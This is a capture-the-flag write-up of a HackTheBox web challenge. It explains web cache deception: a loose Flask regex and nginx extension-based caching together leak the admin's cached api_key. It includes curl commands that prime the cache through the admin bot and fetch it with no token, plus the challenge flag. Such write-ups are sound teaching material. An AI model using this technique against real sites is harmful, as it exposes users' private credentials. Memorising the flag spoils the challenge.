Note
A weak Django-style regex (.*^profile) lets /profile.gif hit the authenticated profile JSON. nginx caches any *.gif response for 3 min regardless of auth, so make the admin bot fetch /profile.gif, then read the cached admin api_key from the same URL with no token.
CDNio — nginx extension-based cache poisoning steals the admin's profile
Platform: HackTheBox · Category: Web (server-side) · Stack: Flask + gunicorn behind nginx (proxy cache), SQLite
Challenge overview
A Flask profile app behind nginx. The flag is the admin's api_key stored in the users table.
JWT auth looks solid (HS256, secret unknown), and there's a bot endpoint that makes the admin
visit an attacker-supplied URI. Two design flaws combine into a classic web-cache-deception.
Flaw 1 — the profile route matches too much. The single catch-all route gates on a broken regex:
@main_bp.route('/<path:subpath>', methods=['GET'])
@jwt_required
def profile(subpath):
if re.match(r'.*^profile', subpath): # "Django perfection"
...
return jsonify({ "username":..., "api_key": user["api_key"], ... }), 200
re.match(r'.*^profile', subpath) is anchored at the start (re.match) and ^ (no MULTILINE)
only matches position 0, so it effectively means "starts with profile" — and that includes
profile, profile.gif, profile/x.png, etc. The route returns the caller's full profile JSON
(including api_key).
Flaw 2 — nginx caches by file extension, ignoring auth:
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
proxy_cache cache;
proxy_cache_valid 200 3m; # any 200 cached for 3 minutes
proxy_pass http://unix:/tmp/gunicorn.sock;
}
Any URL ending in .gif (etc.) that returns 200 is cached for 3 minutes, keyed only on the URL —
the Authorization header is not part of the cache key. So a response generated for the admin is
served verbatim to anyone who requests the same path.
Exploit
The bot logs in as admin and GETs whatever URI we pass to /visit:
# app/utils/bot.py — logs in as admin, then:
r = requests.get(f"{base_url}/{uri}", headers={"Authorization": f"Bearer {admin_token}"})
- Make the admin bot fetch
profile.gif. Flask's regex says "starts with profile" → it returns the admin's profile JSON with200; nginx caches it under the key/profile.gif.
curl -X POST 'http://target/visit' \
-H "Authorization: Bearer <any-valid-user-token>" \
-H 'Content-Type: application/json' \
-d '{"uri":"profile.gif"}'
- Fetch the same
.gifURL yourself — no token needed, nginx serves the admin's cached body:
curl http://target/profile.gif
{"api_key":"HTB{cDN_10_OoOoOoO_Sc1_F1_iOOOO0000}","email":"admin@hackthebox.com","username":"admin",...}
Flag: HTB{cDN_10_OoOoOoO_Sc1_F1_iOOOO0000}
Takeaways (generalized techniques)
- Web cache deception via extension-based caching: when a reverse proxy caches by a static-looking
suffix (
\.gif$) and the app serves dynamic, authenticated content at that URL, the cache key omits the auth header → one victim's private response is stored and replayed to everyone. Need a route that (a) returns sensitive data and (b) tolerates a fake static extension in its path. re.match(r'.*^x')is "starts with x", not "contains x exactly".re.matchanchors at the start and^withoutre.MULTILINEonly matches offset 0, so trailing junk (.gif,/y.png) passes — giving you a path you can simultaneously route to the dynamic handler and match the proxy's static cache rule.- A bot that fetches an attacker URL as a privileged user is a cache-priming primitive: you don't need their token, only a way to make their authenticated response land in a shared cache under a key you can also request.
Sources & references
- Challenge source:
hackthebox/web/CDNio - PortSwigger web cache deception: https://portswigger.net/web-security/web-cache-deception